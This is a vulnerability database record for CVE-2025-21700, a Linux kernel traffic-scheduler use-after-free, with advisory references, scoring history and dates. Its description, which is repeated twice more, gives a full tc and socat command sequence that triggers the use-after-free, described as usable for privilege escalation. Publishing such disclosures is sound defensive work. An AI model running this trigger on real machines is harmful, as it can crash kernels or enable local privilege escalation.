CVE-2025-21700

net: sched: Disallow replacing of child qdisc from one parent to another

Published Feb 13, 2025 CVSS 3.1 · 7.8 High EPSS < 1% KEV · Not listed
Description
In the Linux kernel, the following vulnerability has been resolved:

net: sched: Disallow replacing of child qdisc from one parent to another

Lion Ackermann was able to create a UAF which can be abused for privilege
escalation with the following script

Step 1. create root qdisc
tc qdisc add dev lo root handle 1:0 drr

step2. a class for packet aggregation do demonstrate uaf
tc class add dev lo classid 1:1 drr

step3. a class for nesting
tc class add dev lo classid 1:2 drr

step4. a class to graft qdisc to
tc class add dev lo classid 1:3 drr

step5.
tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

step6.
tc qdisc add dev lo parent 1:2 handle 3:0 drr

step7.
tc class add dev lo classid 3:1 drr

step 8.
tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

step 9. Display the class/qdisc layout

tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 limit 1000p
qdisc drr 3: dev lo parent 1:2

step10. trigger the bug <=== prevented by this patch
tc qdisc replace dev lo parent 1:3 handle 4:0

step 11. Redisplay again the qdiscs/classes

tc class ls dev lo
class drr 1:1 root leaf 2: quantum 64Kb
class drr 1:2 root leaf 3: quantum 64Kb
class drr 1:3 root leaf 4: quantum 64Kb
class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls
qdisc drr 1: dev lo root refcnt 2
qdisc plug 2: dev lo parent 1:1
qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p
qdisc drr 3: dev lo parent 1:2

Observe that a) parent for 4:0 does not change despite the replace request.
There can only be one parent. b) refcount has gone up by two for 4:0 and
c) both class 1:3 and 3:1 are pointing to it.

Step 12. send one packet to plug
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))
step13. send one packet to the grafted fifo
echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))

step14. lets trigger the uaf
tc class delete dev lo classid 1:3
tc class delete dev lo classid 1:1

The semantics of "replace" is for a del/add _on the same node_ and not
a delete from one node(3:1) and add to another node (1:3) as in step10.
While we could "fix" with a more complex approach there could be
consequences to expectations so the patch takes the preventive approach of
"disallow such config".

Joint work with Lion Ackermann <nnamrec@gmail.com>

Remediation

No solution or workaround provided in the CVE record

Tracking

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Advisories

Source ID Title
Debian DLA Debian DLA DLA-4102-1 linux-6.1 security update
Debian DLA Debian DLA DLA-4178-1 linux security update
EUVD EUVD EUVD-2025-2649 In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <nnamrec@gmail.com>
Ubuntu USN Ubuntu USN USN-7428-1 Linux kernel vulnerabilities
Ubuntu USN Ubuntu USN USN-7428-2 Linux kernel (FIPS) vulnerabilities
Ubuntu USN Ubuntu USN USN-7429-1 Linux kernel vulnerabilities
Ubuntu USN Ubuntu USN USN-7429-2 Linux kernel (FIPS) vulnerabilities
Ubuntu USN Ubuntu USN USN-7445-1 Linux kernel vulnerabilities
Ubuntu USN Ubuntu USN USN-7448-1 Linux kernel vulnerabilities
Ubuntu USN Ubuntu USN USN-7449-1 Linux kernel vulnerabilities
Ubuntu USN Ubuntu USN USN-7449-2 Linux kernel (HWE) vulnerabilities
Ubuntu USN Ubuntu USN USN-7450-1 Linux kernel vulnerabilities
Ubuntu USN Ubuntu USN USN-7451-1 Linux kernel vulnerabilities
Ubuntu USN Ubuntu USN USN-7452-1 Linux kernel vulnerabilities
Ubuntu USN Ubuntu USN USN-7453-1 Linux kernel (Real-time) vulnerabilities
Ubuntu USN Ubuntu USN USN-7455-1 Linux kernel vulnerabilities
Ubuntu USN Ubuntu USN USN-7455-2 Linux kernel (FIPS) vulnerabilities
Ubuntu USN Ubuntu USN USN-7455-3 Linux kernel (Real-time) vulnerabilities
Ubuntu USN Ubuntu USN USN-7455-4 Linux kernel (Oracle) vulnerabilities
Ubuntu USN Ubuntu USN USN-7455-5 Linux kernel (AWS) vulnerabilities
Ubuntu USN Ubuntu USN USN-7459-1 Linux kernel (Intel IoTG) vulnerabilities
Ubuntu USN Ubuntu USN USN-7459-2 Linux kernel (GCP) vulnerabilities
Ubuntu USN Ubuntu USN USN-7460-1 Linux kernel (Azure FIPS) vulnerabilities
Ubuntu USN Ubuntu USN USN-7461-1 Linux kernel vulnerabilities
Ubuntu USN Ubuntu USN USN-7461-2 Linux kernel (FIPS) vulnerabilities
Ubuntu USN Ubuntu USN USN-7461-3 Linux kernel (Xilinx ZynqMP) vulnerabilities
Ubuntu USN Ubuntu USN USN-7462-1 Linux kernel vulnerabilities
Ubuntu USN Ubuntu USN USN-7462-2 Linux kernel (AWS FIPS) vulnerabilities
Ubuntu USN Ubuntu USN USN-7463-1 Linux kernel (IBM) vulnerabilities
Ubuntu USN Ubuntu USN USN-7468-1 Linux kernel (Azure, N-Series) vulnerabilities
Ubuntu USN Ubuntu USN USN-7475-1 Linux kernel (Xilinx ZynqMP) vulnerabilities
Ubuntu USN Ubuntu USN USN-7523-1 Linux kernel (Raspberry Pi Real-time) vulnerabilities
Ubuntu USN Ubuntu USN USN-7524-1 Linux kernel (Raspberry Pi) vulnerabilities
Ubuntu USN Ubuntu USN USN-7539-1 Linux kernel (Raspberry Pi) vulnerabilities
Ubuntu USN Ubuntu USN USN-7540-1 Linux kernel (Raspberry Pi) vulnerabilities
History
Type Values Removed Values Added
Metrics epss

{'score': 0.0002}

epss

{'score': 0.00023}

Type Values Removed Values Added
Metrics epss

{'score': 0.00018}

epss

{'score': 0.0002}

Type Values Removed Values Added
Metrics epss

{'score': 0.0003}

epss

{'score': 0.00018}

Type Values Removed Values Added
First Time appeared Linux
Linux linux Kernel
CPEs cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
Vendors & Products Linux
Linux linux Kernel
Type Values Removed Values Added
Metrics threat_severity

Important

threat_severity

Moderate

Type Values Removed Values Added
Weaknesses CWE-416
Metrics cvssV3_1

{'score': 7.8, 'vector': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}

ssvc

{'options': {'Automatable': 'no', 'Exploitation': 'none', 'Technical Impact': 'total'}, 'version': '2.0.3'}

Type Values Removed Values Added
Description In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <nnamrec@gmail.com>
Title net: sched: Disallow replacing of child qdisc from one parent to another
References
Weaknesses

Sources

Status
PUBLISHED
Assigner
Linux
Published
Updated
Oct 15, 2026, 1:03 AM
Reserved
Dec 29, 2024, 8:45 AM
Status
Modified
Published
Feb 13, 2025, 12:15 PM
Modified
Oct 15, 2026, 2:17 AM
Severity
Moderate
Public date
Feb 13, 2025, 12:00 AM